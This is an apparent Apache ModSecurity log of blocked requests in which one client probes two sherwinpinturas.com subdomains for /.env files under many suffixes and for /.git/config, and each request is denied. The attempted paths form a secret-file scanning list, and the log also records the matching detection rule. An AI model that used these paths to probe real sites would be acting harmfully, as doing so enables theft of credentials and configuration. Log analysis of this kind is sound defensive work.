[Sat Oct 24 20:24:39.266177 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.165.102.179:32870] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "clic1.sherwinpinturas.com"] [uri "/.env.production"] [unique_id "at1MRzKiZtbKEGWJKoLVWQAAACE"]
[Sat Oct 24 20:24:39.266433 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.165.102.179:32870] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic1.sherwinpinturas.com"] [uri "/.env.production"] [unique_id "at1MRzKiZtbKEGWJKoLVWQAAACE"]
[Sat Oct 24 20:24:39.266747 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.165.102.179:32870] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "clic1.sherwinpinturas.com"] [uri "/.env.production"] [unique_id "at1MRzKiZtbKEGWJKoLVWQAAACE"]
[Sat Oct 24 20:24:39.404036 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.165.102.179:32870] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.staging"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "clic1.sherwinpinturas.com"] [uri "/.env.staging"] [unique_id "at1MRzKiZtbKEGWJKoLVWgAAACE"]
[Sat Oct 24 20:24:39.404304 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.165.102.179:32870] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic1.sherwinpinturas.com"] [uri "/.env.staging"] [unique_id "at1MRzKiZtbKEGWJKoLVWgAAACE"]
[Sat Oct 24 20:24:39.404591 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.165.102.179:32870] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "clic1.sherwinpinturas.com"] [uri "/.env.staging"] [unique_id "at1MRzKiZtbKEGWJKoLVWgAAACE"]
[Sat Oct 24 20:24:39.542321 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.165.102.179:32870] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.development"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "clic1.sherwinpinturas.com"] [uri "/.env.development"] [unique_id "at1MRzKiZtbKEGWJKoLVWwAAACE"]
[Sat Oct 24 20:24:39.542534 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.165.102.179:32870] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic1.sherwinpinturas.com"] [uri "/.env.development"] [unique_id "at1MRzKiZtbKEGWJKoLVWwAAACE"]
[Sat Oct 24 20:24:39.542786 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.165.102.179:32870] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "clic1.sherwinpinturas.com"] [uri "/.env.development"] [unique_id "at1MRzKiZtbKEGWJKoLVWwAAACE"]
[Sat Oct 24 20:24:39.680891 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.165.102.179:32870] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.test"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "clic1.sherwinpinturas.com"] [uri "/.env.test"] [unique_id "at1MRzKiZtbKEGWJKoLVXAAAACE"]
[Sat Oct 24 20:24:39.681137 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.165.102.179:32870] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic1.sherwinpinturas.com"] [uri "/.env.test"] [unique_id "at1MRzKiZtbKEGWJKoLVXAAAACE"]
[Sat Oct 24 20:24:39.681482 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.165.102.179:32870] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "clic1.sherwinpinturas.com"] [uri "/.env.test"] [unique_id "at1MRzKiZtbKEGWJKoLVXAAAACE"]
[Sat Oct 24 20:24:39.818318 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.165.102.179:32870] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.remote"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "clic1.sherwinpinturas.com"] [uri "/.env.remote"] [unique_id "at1MRzKiZtbKEGWJKoLVXQAAACE"]
[Sat Oct 24 20:24:39.818578 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.165.102.179:32870] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic1.sherwinpinturas.com"] [uri "/.env.remote"] [unique_id "at1MRzKiZtbKEGWJKoLVXQAAACE"]
[Sat Oct 24 20:24:39.818893 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.165.102.179:32870] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "clic1.sherwinpinturas.com"] [uri "/.env.remote"] [unique_id "at1MRzKiZtbKEGWJKoLVXQAAACE"]
[Sat Oct 24 20:24:39.959492 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.165.102.179:32870] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "clic1.sherwinpinturas.com"] [uri "/.env.bak"] [unique_id "at1MRzKiZtbKEGWJKoLVXgAAACE"]
[Sat Oct 24 20:24:39.959773 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.165.102.179:32870] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic1.sherwinpinturas.com"] [uri "/.env.bak"] [unique_id "at1MRzKiZtbKEGWJKoLVXgAAACE"]
[Sat Oct 24 20:24:39.960101 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.165.102.179:32870] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "clic1.sherwinpinturas.com"] [uri "/.env.bak"] [unique_id "at1MRzKiZtbKEGWJKoLVXgAAACE"]
[Sat Oct 24 20:24:40.100812 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.165.102.179:32870] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "clic1.sherwinpinturas.com"] [uri "/.env.backup"] [unique_id "at1MSDKiZtbKEGWJKoLVXwAAACE"]
[Sat Oct 24 20:24:40.101103 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.165.102.179:32870] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic1.sherwinpinturas.com"] [uri "/.env.backup"] [unique_id "at1MSDKiZtbKEGWJKoLVXwAAACE"]
[Sat Oct 24 20:24:40.101446 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.165.102.179:32870] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "clic1.sherwinpinturas.com"] [uri "/.env.backup"] [unique_id "at1MSDKiZtbKEGWJKoLVXwAAACE"]
[Sat Oct 24 20:24:40.127981 2026] [security2:error] [pid 2724376:tid 2724376] [client 34.165.102.179:32888] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "clic2.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at1MSK7eSgqEqaOPQgT8AgAAAAI"]
[Sat Oct 24 20:24:40.128186 2026] [security2:error] [pid 2724376:tid 2724376] [client 34.165.102.179:32888] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic2.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at1MSK7eSgqEqaOPQgT8AgAAAAI"]
[Sat Oct 24 20:24:40.128484 2026] [security2:error] [pid 2724376:tid 2724376] [client 34.165.102.179:32888] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "clic2.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at1MSK7eSgqEqaOPQgT8AgAAAAI"]
[Sat Oct 24 20:24:40.241126 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.165.102.179:32870] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.save"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "clic1.sherwinpinturas.com"] [uri "/.env.save"] [unique_id "at1MSDKiZtbKEGWJKoLVYAAAACE"]
[Sat Oct 24 20:24:40.241398 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.165.102.179:32870] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic1.sherwinpinturas.com"] [uri "/.env.save"] [unique_id "at1MSDKiZtbKEGWJKoLVYAAAACE"]
[Sat Oct 24 20:24:40.241780 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.165.102.179:32870] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "clic1.sherwinpinturas.com"] [uri "/.env.save"] [unique_id "at1MSDKiZtbKEGWJKoLVYAAAACE"]
[Sat Oct 24 20:24:40.383080 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.165.102.179:32870] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "clic1.sherwinpinturas.com"] [uri "/.env.old"] [unique_id "at1MSDKiZtbKEGWJKoLVYQAAACE"]
[Sat Oct 24 20:24:40.383332 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.165.102.179:32870] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic1.sherwinpinturas.com"] [uri "/.env.old"] [unique_id "at1MSDKiZtbKEGWJKoLVYQAAACE"]
[Sat Oct 24 20:24:40.383665 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.165.102.179:32870] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "clic1.sherwinpinturas.com"] [uri "/.env.old"] [unique_id "at1MSDKiZtbKEGWJKoLVYQAAACE"]
[Sat Oct 24 20:24:40.423833 2026] [security2:error] [pid 2724376:tid 2724376] [client 34.165.102.179:32888] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "clic2.sherwinpinturas.com"] [uri "/.env"] [unique_id "at1MSK7eSgqEqaOPQgT8BAAAAAI"]
[Sat Oct 24 20:24:40.424115 2026] [security2:error] [pid 2724376:tid 2724376] [client 34.165.102.179:32888] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic2.sherwinpinturas.com"] [uri "/.env"] [unique_id "at1MSK7eSgqEqaOPQgT8BAAAAAI"]
[Sat Oct 24 20:24:40.424484 2026] [security2:error] [pid 2724376:tid 2724376] [client 34.165.102.179:32888] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "clic2.sherwinpinturas.com"] [uri "/.env"] [unique_id "at1MSK7eSgqEqaOPQgT8BAAAAAI"]
[Sat Oct 24 20:24:40.521375 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.165.102.179:32870] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.sample"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "clic1.sherwinpinturas.com"] [uri "/.env.sample"] [unique_id "at1MSDKiZtbKEGWJKoLVYgAAACE"]
[Sat Oct 24 20:24:40.521632 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.165.102.179:32870] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic1.sherwinpinturas.com"] [uri "/.env.sample"] [unique_id "at1MSDKiZtbKEGWJKoLVYgAAACE"]
[Sat Oct 24 20:24:40.521961 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.165.102.179:32870] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "clic1.sherwinpinturas.com"] [uri "/.env.sample"] [unique_id "at1MSDKiZtbKEGWJKoLVYgAAACE"]
[Sat Oct 24 20:24:40.562069 2026] [security2:error] [pid 2724376:tid 2724376] [client 34.165.102.179:32888] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "clic2.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at1MSK7eSgqEqaOPQgT8BQAAAAI"]
[Sat Oct 24 20:24:40.562319 2026] [security2:error] [pid 2724376:tid 2724376] [client 34.165.102.179:32888] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic2.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at1MSK7eSgqEqaOPQgT8BQAAAAI"]
[Sat Oct 24 20:24:40.562700 2026] [security2:error] [pid 2724376:tid 2724376] [client 34.165.102.179:32888] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "clic2.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at1MSK7eSgqEqaOPQgT8BQAAAAI"]
